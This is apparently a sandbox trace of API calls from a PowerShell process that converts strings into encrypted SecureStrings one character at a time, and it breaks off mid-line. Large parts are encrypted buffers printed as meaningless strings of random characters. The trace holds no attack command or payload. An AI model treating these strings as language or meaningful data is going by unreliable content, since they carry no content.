SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉迕胍篍춧쨾㉻抔輜") returned 0x28 [0195.191] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.191] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1OlljGt8tFkaV") returned 0x28 [0195.191] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.191] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉꣈ﰼǶ櫫奄덏﹞") returned 0x28 [0195.191] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉꣈ﰼǶ櫫奄덏﹞") returned 0x28 [0195.191] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉꣈ﰼǶ櫫奄덏﹞") returned 0x28 [0195.192] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉꣈ﰼǶ櫫奄덏﹞") returned 0x30 [0195.192] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0195.192] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1OlljGt8tFkaVP핳譕문䰁쀼㍥") returned 0x30 [0195.192] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0195.192] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉꣈ﰼǶ櫫奄덏﹞洔ﱰ쇲嵴닙ꏔ尪웨") returned 0x30 [0195.192] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉꣈ﰼǶ櫫奄덏﹞洔ﱰ쇲嵴닙ꏔ尪웨") returned 0x30 [0195.192] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0195.192] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1OlljGt8tFkaVPb譕문䰁쀼㍥") returned 0x30 [0195.192] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0195.192] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉꣈ﰼǶ櫫奄덏﹞环酌ꧥ著嬩훹") returned 0x30 [0195.192] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉꣈ﰼǶ櫫奄덏﹞环酌ꧥ著嬩훹") returned 0x30 [0195.192] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0195.193] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1OlljGt8tFkaVPbE문䰁쀼㍥") returned 0x30 [0195.193] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0195.193] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉꣈ﰼǶ櫫奄덏﹞娢鱃ᖰ諭紭鼢쳍镯") returned 0x30 [0195.193] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉꣈ﰼǶ櫫奄덏﹞娢鱃ᖰ諭紭鼢쳍镯") returned 0x30 [0195.193] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0195.193] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1OlljGt8tFkaVPbE=䰁쀼㍥") returned 0x30 [0195.193] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0195.193] EtwEventActivityIdControl () returned 0x0 [0195.194] EtwEventActivityIdControl () returned 0x0 [0195.194] EtwEventActivityIdControl () returned 0x0 [0195.195] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.196] EtwEventActivityIdControl () returned 0x0 [0195.196] EtwEventActivityIdControl () returned 0x0 [0195.196] EtwEventActivityIdControl () returned 0x0 [0195.197] SysStringLen (param_1="") returned 0x8 [0195.197] SysStringLen (param_1="N") returned 0x8 [0195.197] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.197] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0195.197] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0195.197] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.197] SysStringLen (param_1="ND") returned 0x8 [0195.197] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.197] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0195.197] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0195.197] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.198] SysStringLen (param_1="NDZ") returned 0x8 [0195.198] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.198] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0195.198] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0195.198] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.198] SysStringLen (param_1="NDZl") returned 0x8 [0195.198] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.198] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0195.198] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0195.198] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.199] SysStringLen (param_1="NDZlO") returned 0x8 [0195.199] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.199] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0195.199] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0195.199] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.199] SysStringLen (param_1="NDZlOD") returned 0x8 [0195.199] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.199] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0195.199] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0195.199] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.200] SysStringLen (param_1="NDZlODR") returned 0x8 [0195.200] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.200] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0195.200] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0195.200] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.200] SysStringLen (param_1="NDZlODRm") returned 0x8 [0195.202] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0195.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0195.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0195.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0195.202] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.202] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0195.202] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0195.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0195.202] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.203] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0195.203] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0195.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0195.203] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.203] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0195.203] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0195.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0195.203] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.204] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0195.204] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.204] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0195.204] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0195.204] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.204] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0195.204] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.204] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0195.204] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0195.204] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.204] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0195.204] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.205] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0195.205] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0195.205] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.205] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0195.205] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.205] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0195.205] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0195.205] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.205] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0195.205] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.205] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0195.206] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0195.206] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0195.206] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0195.206] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.206] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0195.206] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.206] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0195.206] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0195.206] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.206] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0195.206] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.206] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0195.206] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0195.206] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.207] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0195.207] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.207] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0195.207] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0195.207] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.207] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0195.207] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.207] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0195.207] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0195.207] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.207] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0195.207] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.208] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0195.208] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0195.208] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.208] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0195.208] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.208] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0195.208] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0195.208] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.208] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0195.208] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.209] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0195.209] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0195.209] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.209] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0195.209] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.209] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0195.209] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0195.209] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0195.209] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0195.209] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.210] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0195.210] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.210] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0195.210] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0195.210] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.210] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0195.210] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.211] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0195.211] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0195.211] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.211] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0195.211] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.211] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0195.211] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0195.211] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.211] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0195.211] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.211] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0195.211] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0195.211] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.212] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0195.212] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.212] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0195.212] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0195.212] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.212] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0195.212] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.212] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0195.212] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0195.212] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.212] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0195.212] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.212] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0195.213] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0195.213] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.213] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0195.213] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.213] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0195.213] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0195.213] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0195.213] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0195.213] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.213] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0195.213] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0195.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0195.214] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.214] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0195.214] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0195.214] SysStringLen 